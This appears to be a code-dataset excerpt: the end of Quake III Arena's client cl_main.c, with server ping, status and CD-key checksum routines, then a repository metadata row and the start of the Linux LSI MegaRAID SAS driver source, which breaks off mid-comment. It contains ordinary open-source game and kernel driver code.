CL_UpdateVisiblePings_f(int source) { int slots, i; char buff[MAX_STRING_CHARS]; int pingTime; int max; qboolean status = qfalse; if (source < 0 || source > AS_FAVORITES) { return qfalse; } cls.pingUpdateSource = source; slots = CL_GetPingQueueCount(); if (slots < MAX_PINGREQUESTS) { serverInfo_t *server = NULL; max = (source == AS_GLOBAL) ? MAX_GLOBAL_SERVERS : MAX_OTHER_SERVERS; switch (source) { case AS_LOCAL : server = &cls.localServers[0]; max = cls.numlocalservers; break; case AS_MPLAYER : server = &cls.mplayerServers[0]; max = cls.nummplayerservers; break; case AS_GLOBAL : server = &cls.globalServers[0]; max = cls.numglobalservers; break; case AS_FAVORITES : server = &cls.favoriteServers[0]; max = cls.numfavoriteservers; break; } for (i = 0; i < max; i++) { if (server[i].visible) { if (server[i].ping == -1) { int j; if (slots >= MAX_PINGREQUESTS) { break; } for (j = 0; j < MAX_PINGREQUESTS; j++) { if (!cl_pinglist[j].adr.port) { continue; } if (NET_CompareAdr( cl_pinglist[j].adr, server[i].adr)) { // already on the list break; } } if (j >= MAX_PINGREQUESTS) { status = qtrue; for (j = 0; j < MAX_PINGREQUESTS; j++) { if (!cl_pinglist[j].adr.port) { break; } } memcpy(&cl_pinglist[j].adr, &server[i].adr, sizeof(netadr_t)); cl_pinglist[j].start = cls.realtime; cl_pinglist[j].time = 0; NET_OutOfBandPrint( NS_CLIENT, cl_pinglist[j].adr, "getinfo xxx" ); slots++; } } // if the server has a ping higher than cl_maxPing or // the ping packet got lost else if (server[i].ping == 0) { // if we are updating global servers if (source == AS_GLOBAL) { // if ( cls.numGlobalServerAddresses > 0 ) { // overwrite this server with one from the additional global servers cls.numGlobalServerAddresses--; CL_InitServerInfo(&server[i], &cls.globalServerAddresses[cls.numGlobalServerAddresses]); // NOTE: the server[i].visible flag stays untouched } } } } } } if (slots) { status = qtrue; } for (i = 0; i < MAX_PINGREQUESTS; i++) { if (!cl_pinglist[i].adr.port) { continue; } CL_GetPing( i, buff, MAX_STRING_CHARS, &pingTime ); if (pingTime != 0) { CL_ClearPing(i); status = qtrue; } } return status; } /* ================== CL_ServerStatus_f ================== */ void CL_ServerStatus_f(void) { netadr_t to; char *server; serverStatus_t *serverStatus; Com_Memset( &to, 0, sizeof(netadr_t) ); if ( Cmd_Argc() != 2 ) { if ( cls.state != CA_ACTIVE || clc.demoplaying ) { Com_Printf ("Not connected to a server.\n"); Com_Printf( "Usage: serverstatus [server]\n"); return; } server = cls.servername; } else { server = Cmd_Argv(1); } if ( !NET_StringToAdr( server, &to ) ) { return; } NET_OutOfBandPrint( NS_CLIENT, to, "getstatus" ); serverStatus = CL_GetServerStatus( to ); serverStatus->address = to; serverStatus->print = qtrue; serverStatus->pending = qtrue; } /* ================== CL_ShowIP_f ================== */ void CL_ShowIP_f(void) { Sys_ShowIP(); } /* ================= bool CL_CDKeyValidate ================= */ qboolean CL_CDKeyValidate( const char *key, const char *checksum ) { char ch; byte sum; char chs[3]; int i, len; len = (int)strlen(key); if( len != CDKEY_LEN ) { return qfalse; } if( checksum && (int)strlen( checksum ) != CDCHKSUM_LEN ) { return qfalse; } sum = 0; // for loop gets rid of conditional assignment warning for (i = 0; i < len; i++) { ch = *key++; if (ch>='a' && ch<='z') { ch -= 32; } switch( ch ) { case '2': case '3': case '7': case 'A': case 'B': case 'C': case 'D': case 'G': case 'H': case 'J': case 'L': case 'P': case 'R': case 'S': case 'T': case 'W': sum += ch; continue; default: return qfalse; } } sprintf(chs, "%02x", sum); if (checksum && !Q_stricmp(chs, checksum)) { return qtrue; } if (!checksum) { return qtrue; } return qfalse; }
kennyalive/Quake-III-Arena-KE
src/engine/client/cl_main.c
C
gpl-2.0
77,940
/* * Linux MegaRAID driver for SAS based RAID controllers * * Copyright (c) 2003-2012 LSI Corporation. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * FILE: megaraid_sas_base.c * Version : v06.504.01.00-rh1 * * Authors: LSI Corporation * Sreenivas Bagalkote * Sumant Patro * Bo Yang * Adam Radford <linuxraid@lsi.com> * * Send feedback to: <megaraidlinux@lsi.com> * * Mail to: LSI Corporation, 1621 Barber Lane, Milpitas, CA 95035 * ATTN: Linuxraid */ #include <linux/kernel.h> #include <linux/types.h> #include <linux/pci.h> #include <linux/list.h> #include <linux/moduleparam.h> #include <linux/module.h> #include <linux/spinlock.h> #include <linux/interrupt.h> #include <linux/delay.h> #include <linux/uio.h> #include <linux/slab.h> #include <asm/uaccess.h> #include <linux/fs.h> #include <linux/compat.h> #include <linux/blkdev.h> #include <linux/mutex.h> #include <linux/poll.h> #include <scsi/scsi.h> #include <scsi/scsi_cmnd.h> #include <scsi/scsi_device.h> #include <scsi/scsi_host.h> #include <scsi/scsi_tcq.h> #include "megaraid_sas_fusion.h" #include "megaraid_sas.h" /* * Number of sectors per IO command * Will be set in megasas_init_mfi if user does not provide */ static unsigned int max_sectors; module_param_named(max_sectors, max_sectors, int, 0); MODULE_PARM_DESC(max_sectors, "Maximum number of sectors per IO command"); static int msix_disable; module_param(msix_disable, int, S_IRUGO); MODULE_PARM_DESC(msix_disable, "Disable MSI-X interrupt handling. Default: 0"); static unsigned int msix_vectors; module_param(msix_vectors, int, S_IRUGO); MODULE_PARM_DESC(msix_vectors, "MSI-X max vector count. Default: Set by FW"); static int throttlequeuedepth = MEGASAS_THROTTLE_QUEUE_DEPTH; module_param(throttlequeuedepth, int, S_IRUGO); MODULE_PARM_DESC(throttlequeuedepth, "Adapter queue depth when throttled due to I/O timeout. Default: 16"); int resetwaittime = MEGASAS_RESET_WAIT_TIME; module_param(resetwaittime, int, S_IRUGO); MODULE_PARM_DESC(resetwaittime, "Wait time in seconds after I/O timeout " "before resetting adapter. Default: 180"); MODULE_LICENSE("GPL"); MODULE_VERSION(MEGASAS_VERSION); MODULE_AUTHOR("megaraidlinux@lsi.com"); MODULE_DESCRIPTION("LSI MegaRAID SAS Driver"); int megasas_transition_to_ready(struct megasas_instance *instance, int ocr); static int megasas_get_pd_list(struct megasas_instance *instance); static int megasas_issue_init_mfi(struct megasas_instance *instance); static int megasas_register_aen(struct megasas_instance *instance, u32 seq_num, u32 class_locale_word); /* * PCI ID table for all supported controllers */ static struct pci_device_id megasas_pci_table[] = { {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_SAS1064R)}, /* xscale IOP */ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_SAS1078R)}, /* ppc IOP */ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_SAS1078DE)}, /* ppc IOP */ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_SAS1078GEN2)}, /* gen2*/ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_SAS0079GEN2)}, /* gen2*/ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_SAS0073SKINNY)}, /* skinny*/ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_SAS0071SKINNY)}, /* skinny*/ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_VERDE_ZCR)}, /* xscale IOP, vega */ {PCI_DEVICE(PCI_VENDOR_ID_DELL, PCI_DEVICE_ID_DELL_PERC5)}, /* xscale IOP */ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_FUSION)}, /* Fusion */ {PCI_DEVICE(PCI_VENDOR_ID_LSI_LOGIC, PCI_DEVICE_ID_LSI_INVADER)}, /* Invader */ {} }; MODULE_DEVICE_TABLE(pci, megasas_pci_table); static int megasas_mgmt_majorno; static struct megasas_mgmt_info megasas_mgmt_info; static struct fasync_struct *megasas_async_queue; static DEFINE_MUTEX(megasas_async_queue_mutex); static int megasas_poll_wait_aen; static DECLARE_WAIT_QUEUE_HEAD(megasas_poll_wait); static u32 support_poll_for_event; u32 megasas_dbg_lvl; static u32 support_device_change; /* define lock for aen poll */ spinlock_t poll_aen_lock; void megasas_complete_cmd(struct megasas_instance *instance, struct megasas_cmd *cmd, u8 alt_status); static u32 megasas_read_fw_status_reg_gen2(struct megasas_register_set __iomem *regs); static int megasas_adp_reset_gen2(struct megasas_instance *instance, struct megasas_register_set __iomem *reg_set); static irqreturn_t megasas_isr(int irq, void *devp); static u32 megasas_init_adapter_mfi(struct megasas_instance *instance); u32 megasas_build_and_issue_cmd(struct megasas_instance *instance, struct scsi_cmnd *scmd); static void megasas_complete_cmd_dpc(unsigned long instance_addr); void megasas_release_fusion(struct megasas_instance *instance); int megasas_ioc_init_fusion(struct megasas_instance *instance); void megasas_free_cmds_fusion(struct megasas_instance *instance); u8 megasas_get_map_info(struct megasas_instance *instance); int megasas_sync_map_info(struct megasas_instance *instance); int wait_and_poll(struct megasas_instance *instance, struct megasas_cmd *cmd); void megasas_reset_reply_desc(struct megasas_instance *instance); u8 MR_ValidateMapInfo(struct MR_FW_RAID_MAP_ALL *map, struct LD_LOAD_BALANCE_INFO *lbInfo); int megasas_reset_fusion(struct Scsi_Host *shost); void megasas_fusion_ocr_wq(struct work_struct *work); void megasas_issue_dcmd(struct megasas_instance *instance, struct megasas_cmd *cmd) { instance->instancet->fire_cmd(instance, cmd->frame_phys_addr, 0, instance->reg_set); } /** * megasas_get_cmd - Get a command from the free pool * @instance: Adapter soft state * * Returns a free command from the pool */ struct megasas_cmd *megasas_get_cmd(struct megasas_instance *instance) { unsigned long flags; struct megasas_cmd *cmd = NULL; spin_lock_irqsave(&instance->cmd_pool_lock, flags); if (!list_empty(&instance->cmd_pool)) { cmd = list_entry((&instance->cmd_pool)->next, struct megasas_cmd, list); list_del_init(&cmd->list); } else { printk(KERN_ERR "megasas: Command pool empty!\n"); } spin_unlock_irqrestore(&instance->cmd_pool_lock, flags); return cmd; } /** * megasas_return_cmd - Return a cmd to free command pool * @instance: Adapter soft state * @cmd: Command packet to be returned to free command pool */ inline void megasas_return_cmd(struct megasas_instance *instance, struct megasas_cmd *cmd) { unsigned long flags; spin_lock_irqsave(&instance->cmd_pool_lock, flags); cmd->scmd = NULL; cmd->frame_count = 0; if ((instance->pdev->device != PCI_DEVICE_ID_LSI_FUSION) && (instance->pdev->device != PCI_DEVICE_ID_LSI_INVADER) && (reset_devices)) cmd->frame->hdr.cmd = MFI_CMD_INVALID; list_add_tail(&cmd->list, &instance->cmd_pool); spin_unlock_irqrestore(&instance->cmd_pool_lock, flags); } /** * The following functions are defined for xscale * (deviceid : 1064R, PERC5) controllers */ /** * megasas_enable_intr_xscale - Enables interrupts * @regs: MFI register set */ static inline void megasas_enable_intr_xscale(struct megasas_register_set __iomem * regs) { writel(0, &(regs)->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_disable_intr_xscale -Disables interrupt * @regs: MFI register set */ static inline void megasas_disable_intr_xscale(struct megasas_register_set __iomem * regs) { u32 mask = 0x1f; writel(mask, &regs->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_read_fw_status_reg_xscale - returns the current FW status value * @regs: MFI register set */ static u32 megasas_read_fw_status_reg_xscale(struct megasas_register_set __iomem * regs) { return readl(&(regs)->outbound_msg_0); } /** * megasas_clear_interrupt_xscale - Check & clear interrupt * @regs: MFI register set */ static int megasas_clear_intr_xscale(struct megasas_register_set __iomem * regs) { u32 status; u32 mfiStatus = 0; /* * Check if it is our interrupt */ status = readl(&regs->outbound_intr_status); if (status & MFI_OB_INTR_STATUS_MASK) mfiStatus = MFI_INTR_FLAG_REPLY_MESSAGE; if (status & MFI_XSCALE_OMR0_CHANGE_INTERRUPT) mfiStatus |= MFI_INTR_FLAG_FIRMWARE_STATE_CHANGE; /* * Clear the interrupt by writing back the same value */ if (mfiStatus) writel(status, &regs->outbound_intr_status); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_status); return mfiStatus; } /** * megasas_fire_cmd_xscale - Sends command to the FW * @frame_phys_addr : Physical address of cmd * @frame_count : Number of frames for the command * @regs : MFI register set */ static inline void megasas_fire_cmd_xscale(struct megasas_instance *instance, dma_addr_t frame_phys_addr, u32 frame_count, struct megasas_register_set __iomem *regs) { unsigned long flags; spin_lock_irqsave(&instance->hba_lock, flags); writel((frame_phys_addr >> 3)|(frame_count), &(regs)->inbound_queue_port); spin_unlock_irqrestore(&instance->hba_lock, flags); } /** * megasas_adp_reset_xscale - For controller reset * @regs: MFI register set */ static int megasas_adp_reset_xscale(struct megasas_instance *instance, struct megasas_register_set __iomem *regs) { u32 i; u32 pcidata; writel(MFI_ADP_RESET, &regs->inbound_doorbell); for (i = 0; i < 3; i++) msleep(1000); /* sleep for 3 secs */ pcidata = 0; pci_read_config_dword(instance->pdev, MFI_1068_PCSR_OFFSET, &pcidata); printk(KERN_NOTICE "pcidata = %x\n", pcidata); if (pcidata & 0x2) { printk(KERN_NOTICE "mfi 1068 offset read=%x\n", pcidata); pcidata &= ~0x2; pci_write_config_dword(instance->pdev, MFI_1068_PCSR_OFFSET, pcidata); for (i = 0; i < 2; i++) msleep(1000); /* need to wait 2 secs again */ pcidata = 0; pci_read_config_dword(instance->pdev, MFI_1068_FW_HANDSHAKE_OFFSET, &pcidata); printk(KERN_NOTICE "1068 offset handshake read=%x\n", pcidata); if ((pcidata & 0xffff0000) == MFI_1068_FW_READY) { printk(KERN_NOTICE "1068 offset pcidt=%x\n", pcidata); pcidata = 0; pci_write_config_dword(instance->pdev, MFI_1068_FW_HANDSHAKE_OFFSET, pcidata); } } return 0; } /** * megasas_check_reset_xscale - For controller reset check * @regs: MFI register set */ static int megasas_check_reset_xscale(struct megasas_instance *instance, struct megasas_register_set __iomem *regs) { u32 consumer; consumer = *instance->consumer; if ((instance->adprecovery != MEGASAS_HBA_OPERATIONAL) && (*instance->consumer == MEGASAS_ADPRESET_INPROG_SIGN)) { return 1; } return 0; } static struct megasas_instance_template megasas_instance_template_xscale = { .fire_cmd = megasas_fire_cmd_xscale, .enable_intr = megasas_enable_intr_xscale, .disable_intr = megasas_disable_intr_xscale, .clear_intr = megasas_clear_intr_xscale, .read_fw_status_reg = megasas_read_fw_status_reg_xscale, .adp_reset = megasas_adp_reset_xscale, .check_reset = megasas_check_reset_xscale, .service_isr = megasas_isr, .tasklet = megasas_complete_cmd_dpc, .init_adapter = megasas_init_adapter_mfi, .build_and_issue_cmd = megasas_build_and_issue_cmd, .issue_dcmd = megasas_issue_dcmd, }; /** * This is the end of set of functions & definitions specific * to xscale (deviceid : 1064R, PERC5) controllers */ /** * The following functions are defined for ppc (deviceid : 0x60) * controllers */ /** * megasas_enable_intr_ppc - Enables interrupts * @regs: MFI register set */ static inline void megasas_enable_intr_ppc(struct megasas_register_set __iomem * regs) { writel(0xFFFFFFFF, &(regs)->outbound_doorbell_clear); writel(~0x80000000, &(regs)->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_disable_intr_ppc - Disable interrupt * @regs: MFI register set */ static inline void megasas_disable_intr_ppc(struct megasas_register_set __iomem * regs) { u32 mask = 0xFFFFFFFF; writel(mask, &regs->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_read_fw_status_reg_ppc - returns the current FW status value * @regs: MFI register set */ static u32 megasas_read_fw_status_reg_ppc(struct megasas_register_set __iomem * regs) { return readl(&(regs)->outbound_scratch_pad); } /** * megasas_clear_interrupt_ppc - Check & clear interrupt * @regs: MFI register set */ static int megasas_clear_intr_ppc(struct megasas_register_set __iomem * regs) { u32 status, mfiStatus = 0; /* * Check if it is our interrupt */ status = readl(&regs->outbound_intr_status); if (status & MFI_REPLY_1078_MESSAGE_INTERRUPT) mfiStatus = MFI_INTR_FLAG_REPLY_MESSAGE; if (status & MFI_G2_OUTBOUND_DOORBELL_CHANGE_INTERRUPT) mfiStatus |= MFI_INTR_FLAG_FIRMWARE_STATE_CHANGE; /* * Clear the interrupt by writing back the same value */ writel(status, &regs->outbound_doorbell_clear); /* Dummy readl to force pci flush */ readl(&regs->outbound_doorbell_clear); return mfiStatus; } /** * megasas_fire_cmd_ppc - Sends command to the FW * @frame_phys_addr : Physical address of cmd * @frame_count : Number of frames for the command * @regs : MFI register set */ static inline void megasas_fire_cmd_ppc(struct megasas_instance *instance, dma_addr_t frame_phys_addr, u32 frame_count, struct megasas_register_set __iomem *regs) { unsigned long flags; spin_lock_irqsave(&instance->hba_lock, flags); writel((frame_phys_addr | (frame_count<<1))|1, &(regs)->inbound_queue_port); spin_unlock_irqrestore(&instance->hba_lock, flags); } /** * megasas_check_reset_ppc - For controller reset check * @regs: MFI register set */ static int megasas_check_reset_ppc(struct megasas_instance *instance, struct megasas_register_set __iomem *regs) { if (instance->adprecovery != MEGASAS_HBA_OPERATIONAL) return 1; return 0; } static struct megasas_instance_template megasas_instance_template_ppc = { .fire_cmd = megasas_fire_cmd_ppc, .enable_intr = megasas_enable_intr_ppc, .disable_intr = megasas_disable_intr_ppc, .clear_intr = megasas_clear_intr_ppc, .read_fw_status_reg = megasas_read_fw_status_reg_ppc, .adp_reset = megasas_adp_reset_xscale, .check_reset = megasas_check_reset_ppc, .service_isr = megasas_isr, .tasklet = megasas_complete_cmd_dpc, .init_adapter = megasas_init_adapter_mfi, .build_and_issue_cmd = megasas_build_and_issue_cmd, .issue_dcmd = megasas_issue_dcmd, }; /** * megasas_enable_intr_skinny - Enables interrupts * @regs: MFI register set */ static inline void megasas_enable_intr_skinny(struct megasas_register_set __iomem *regs) { writel(0xFFFFFFFF, &(regs)->outbound_intr_mask); writel(~MFI_SKINNY_ENABLE_INTERRUPT_MASK, &(regs)->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_disable_intr_skinny - Disables interrupt * @regs: MFI register set */ static inline void megasas_disable_intr_skinny(struct megasas_register_set __iomem *regs) { u32 mask = 0xFFFFFFFF; writel(mask, &regs->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_read_fw_status_reg_skinny - returns the current FW status value * @regs: MFI register set */ static u32 megasas_read_fw_status_reg_skinny(struct megasas_register_set __iomem *regs) { return readl(&(regs)->outbound_scratch_pad); } /** * megasas_clear_interrupt_skinny - Check & clear interrupt * @regs: MFI register set */ static int megasas_clear_intr_skinny(struct megasas_register_set __iomem *regs) { u32 status; u32 mfiStatus = 0; /* * Check if it is our interrupt */ status = readl(&regs->outbound_intr_status); if (!(status & MFI_SKINNY_ENABLE_INTERRUPT_MASK)) { return 0; } /* * Check if it is our interrupt */ if ((megasas_read_fw_status_reg_gen2(regs) & MFI_STATE_MASK) == MFI_STATE_FAULT) { mfiStatus = MFI_INTR_FLAG_FIRMWARE_STATE_CHANGE; } else mfiStatus = MFI_INTR_FLAG_REPLY_MESSAGE; /* * Clear the interrupt by writing back the same value */ writel(status, &regs->outbound_intr_status); /* * dummy read to flush PCI */ readl(&regs->outbound_intr_status); return mfiStatus; } /** * megasas_fire_cmd_skinny - Sends command to the FW * @frame_phys_addr : Physical address of cmd * @frame_count : Number of frames for the command * @regs : MFI register set */ static inline void megasas_fire_cmd_skinny(struct megasas_instance *instance, dma_addr_t frame_phys_addr, u32 frame_count, struct megasas_register_set __iomem *regs) { unsigned long flags; spin_lock_irqsave(&instance->hba_lock, flags); writel(0, &(regs)->inbound_high_queue_port); writel((frame_phys_addr | (frame_count<<1))|1, &(regs)->inbound_low_queue_port); spin_unlock_irqrestore(&instance->hba_lock, flags); } /** * megasas_check_reset_skinny - For controller reset check * @regs: MFI register set */ static int megasas_check_reset_skinny(struct megasas_instance *instance, struct megasas_register_set __iomem *regs) { if (instance->adprecovery != MEGASAS_HBA_OPERATIONAL) return 1; return 0; } static struct megasas_instance_template megasas_instance_template_skinny = { .fire_cmd = megasas_fire_cmd_skinny, .enable_intr = megasas_enable_intr_skinny, .disable_intr = megasas_disable_intr_skinny, .clear_intr = megasas_clear_intr_skinny, .read_fw_status_reg = megasas_read_fw_status_reg_skinny, .adp_reset = megasas_adp_reset_gen2, .check_reset = megasas_check_reset_skinny, .service_isr = megasas_isr, .tasklet = megasas_complete_cmd_dpc, .init_adapter = megasas_init_adapter_mfi, .build_and_issue_cmd = megasas_build_and_issue_cmd, .issue_dcmd = megasas_issue_dcmd, }; /** * The following functions are defined for gen2 (deviceid : 0x78 0x79) * controllers */ /** * megasas_enable_intr_gen2 - Enables interrupts * @regs: MFI register set */ static inline void megasas_enable_intr_gen2(struct megasas_register_set __iomem *regs) { writel(0xFFFFFFFF, &(regs)->outbound_doorbell_clear); /* write ~0x00000005 (4 & 1) to the intr mask*/ writel(~MFI_GEN2_ENABLE_INTERRUPT_MASK, &(regs)->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_disable_intr_gen2 - Disables interrupt * @regs: MFI register set */ static inline void megasas_disable_intr_gen2(struct megasas_register_set __iomem *regs) { u32 mask = 0xFFFFFFFF; writel(mask, &regs->outbound_intr_mask); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_mask); } /** * megasas_read_fw_status_reg_gen2 - returns the current FW status value * @regs: MFI register set */ static u32 megasas_read_fw_status_reg_gen2(struct megasas_register_set __iomem *regs) { return readl(&(regs)->outbound_scratch_pad); } /** * megasas_clear_interrupt_gen2 - Check & clear interrupt * @regs: MFI register set */ static int megasas_clear_intr_gen2(struct megasas_register_set __iomem *regs) { u32 status; u32 mfiStatus = 0; /* * Check if it is our interrupt */ status = readl(&regs->outbound_intr_status); if (status & MFI_GEN2_ENABLE_INTERRUPT_MASK) { mfiStatus = MFI_INTR_FLAG_REPLY_MESSAGE; } if (status & MFI_G2_OUTBOUND_DOORBELL_CHANGE_INTERRUPT) { mfiStatus |= MFI_INTR_FLAG_FIRMWARE_STATE_CHANGE; } /* * Clear the interrupt by writing back the same value */ if (mfiStatus) writel(status, &regs->outbound_doorbell_clear); /* Dummy readl to force pci flush */ readl(&regs->outbound_intr_status); return mfiStatus; } /** * megasas_fire_cmd_gen2 - Sends command to the FW * @frame_phys_addr : Physical address of cmd * @frame_count : Number of frames for the command * @regs : MFI register set */ static inline void megasas_fire_cmd_gen2(struct megasas_instance *instance, dma_addr_t frame_phys_addr, u32 frame_count, struct megasas_register_set __iomem *regs) { unsigned long flags; spin_lock_irqsave(&instance->hba_lock, flags); writel((frame_phys_addr | (frame_count<<1))|1, &(regs)->inbound_queue_port); spin_unlock_irqrestore(&instance->hba_lock, flags); } /** * megasas_adp_reset_gen2 - For controller reset * @regs: MFI register set */ static int megasas_adp_reset_gen2(struct megasas_instance *instance, struct megasas_register_set __iomem *reg_set) { u32 retry = 0 ; u32 HostDiag; u32 *seq_offset = &reg_set->seq_offset; u32 *hostdiag_offset = &reg_set->host_diag; if (instance->instancet == &megasas_instance_template_skinny) { seq_offset = &reg_set->fusion_seq_offset; hostdiag_offset = &reg_set->fusion_host_diag; } writel(0, seq_offset); writel(4, seq_offset); writel(0xb, seq_offset); writel(2, seq_offset); writel(7, seq_offset); writel(0xd, seq_offset); msleep(1000); HostDiag = (u32)readl(hostdiag_offset); while ( !( HostDiag & DIAG_WRITE_ENABLE) ) { msleep(100); HostDiag = (u32)readl(hostdiag_offset); printk(KERN_NOTICE "RESETGEN2: retry=%x, hostdiag=%x\n", retry, HostDiag); if (retry++ >= 100) return 1; } printk(KERN_NOTICE "ADP_RESET_GEN2: HostDiag=%x\n", HostDiag); writel((HostDiag | DIAG_RESET_ADAPTER), hostdiag_offset); ssleep(10); HostDiag = (u32)readl(hostdiag_offset); while ( ( HostDiag & DIAG_RESET_ADAPTER) ) { msleep(100); HostDiag = (u32)readl(hostdiag_offset); printk(KERN_NOTICE "RESET_GEN2: retry=%x, hostdiag=%x\n", retry, HostDiag); if (retry++ >= 1000) return 1; } return 0; } /** * megasas_check_reset_gen2 - For controller reset check * @regs: MFI register set */ static int megasas_check_reset_gen2(struct megasas_instance *instance, struct megasas_register_set __iomem *regs) { if (instance->adprecovery != MEGASAS_HBA_OPERATIONAL) { return 1; } return 0; } static struct megasas_instance_template megasas_instance_template_gen2 = { .fire_cmd = megasas_fire_cmd_gen2, .enable_intr = megasas_enable_intr_gen2, .disable_intr = megasas_disable_intr_gen2, .clear_intr = megasas_clear_intr_gen2, .read_fw_status_reg = megasas_read_fw_status_reg_gen2, .adp_reset = megasas_adp_reset_gen2, .check_reset = megasas_check_reset_gen2, .service_isr = megasas_isr, .tasklet = megasas_complete_cmd_dpc, .init_adapter = megasas_init_adapter_mfi, .build_and_issue_cmd = megasas_build_and_issue_cmd, .issue_dcmd = megasas_issue_dcmd, }; /** * This is the end of set of functions & definitions * specific to gen2 (deviceid : 0x78, 0x79) controllers */ /* * Template added for TB (Fusion) */ extern struct megasas_instance_template megasas_instance_template_fusion; /** * megasas_issue_polled - Issues a polling command * @instance: Adapter soft state * @cmd: Command packet to be issued * * For polling, MFI requires the cmd_status to be set to 0xFF before posting. */ int megasas_issue_polled(struct megasas_instance *instance, struct megasas_cmd *cmd) { struct megasas_header *frame_hdr = &cmd->frame->hdr; frame_hdr->cmd_status = 0xFF; frame_hdr->flags |= MFI_FRAME_DONT_POST_IN_REPLY_QUEUE; /* * Issue the frame using inbound queue port */ instance->instancet->issue_dcmd(instance, cmd); /* * Wait for cmd_status to change */ return wait_and_poll(instance, cmd); } /** * megasas_issue_blocked_cmd - Synchronous wrapper around regular FW cmds * @instance: Adapter soft state * @cmd: Command to be issued * * This function waits on an event for the command to be returned from ISR. * Max wait time is MEGASAS_INTERNAL_CMD_WAIT_TIME secs * Used to issue ioctl commands. */ static int megasas_issue_blocked_cmd(struct megasas_instance *instance, struct megasas_cmd *cmd) { cmd->cmd_status = ENODATA; instance->instancet->issue_dcmd(instance, cmd); wait_event(instance->int_cmd_wait_q, cmd->cmd_status != ENODATA); return 0; } /** * megasas_issue_blocked_abort_cmd - Aborts previously issued cmd * @instance: Adapter soft state * @cmd_to_abort: Previously issued cmd to be aborted * * MFI firmware can abort previously issued AEN command (automatic event * notification). The megasas_issue_blocked_abort_cmd() issues such abort * cmd and waits for return status. * Max wait time is MEGASAS_INTERNAL_CMD_WAIT_TIME secs */ static int megasas_issue_blocked_abort_cmd(struct megasas_instance *instance, struct megasas_cmd *cmd_to_abort) { struct megasas_cmd *cmd; struct megasas_abort_frame *abort_fr; cmd = megasas_get_cmd(instance); if (!cmd) return -1; abort_fr = &cmd->frame->abort; /* * Prepare and issue the abort frame */ abort_fr->cmd = MFI_CMD_ABORT; abort_fr->cmd_status = 0xFF; abort_fr->flags = 0; abort_fr->abort_context = cmd_to_abort->index; abort_fr->abort_mfi_phys_addr_lo = cmd_to_abort->frame_phys_addr; abort_fr->abort_mfi_phys_addr_hi = 0; cmd->sync_cmd = 1; cmd->cmd_status = 0xFF; instance->instancet->issue_dcmd(instance, cmd); /* * Wait for this cmd to complete */ wait_event(instance->abort_cmd_wait_q, cmd->cmd_status != 0xFF); cmd->sync_cmd = 0; megasas_return_cmd(instance, cmd); return 0; } /** * megasas_make_sgl32 - Prepares 32-bit SGL * @instance: Adapter soft state * @scp: SCSI command from the mid-layer * @mfi_sgl: SGL to be filled in * * If successful, this function returns the number of SG elements. Otherwise, * it returnes -1. */ static int megasas_make_sgl32(struct megasas_instance *instance, struct scsi_cmnd *scp, union megasas_sgl *mfi_sgl) { int i; int sge_count; struct scatterlist *os_sgl; sge_count = scsi_dma_map(scp); BUG_ON(sge_count < 0); if (sge_count) { scsi_for_each_sg(scp, os_sgl, sge_count, i) { mfi_sgl->sge32[i].length = sg_dma_len(os_sgl); mfi_sgl->sge32[i].phys_addr = sg_dma_address(os_sgl); } } return sge_count; } /** * megasas_make_sgl64 - Prepares 64-bit SGL * @instance: Adapter soft state * @scp: SCSI command from the mid-layer * @mfi_sgl: SGL to be filled in * * If successful, this function returns the number of SG elements. Otherwise, * it returnes -1. */ static int megasas_make_sgl64(struct megasas_instance *instance, struct scsi_cmnd *scp, union megasas_sgl *mfi_sgl) { int i; int sge_count; struct scatterlist *os_sgl; sge_count = scsi_dma_map(scp); BUG_ON(sge_count < 0); if (sge_count) { scsi_for_each_sg(scp, os_sgl, sge_count, i) { mfi_sgl->sge64[i].length = sg_dma_len(os_sgl); mfi_sgl->sge64[i].phys_addr = sg_dma_address(os_sgl); } } return sge_count; } /** * megasas_make_sgl_skinny - Prepares IEEE SGL * @instance: Adapter soft state * @scp: SCSI command from the mid-layer * @mfi_sgl: SGL to be filled in * * If successful, this function returns the number of SG elements. Otherwise, * it returnes -1. */ static int megasas_make_sgl_skinny(struct megasas_instance *instance, struct scsi_cmnd *scp, union megasas_sgl *mfi_sgl) { int i; int sge_count; struct scatterlist *os_sgl; sge_count = scsi_dma_map(scp); if (sge_count) { scsi_for_each_sg(scp, os_sgl, sge_count, i) { mfi_sgl->sge_skinny[i].length = sg_dma_len(os_sgl); mfi_sgl->sge_skinny[i].phys_addr = sg_dma_address(os_sgl); mfi_sgl->sge_skinny[i].flag = 0; } } return sge_count; } /** * megasas_get_frame_count - Computes the number of 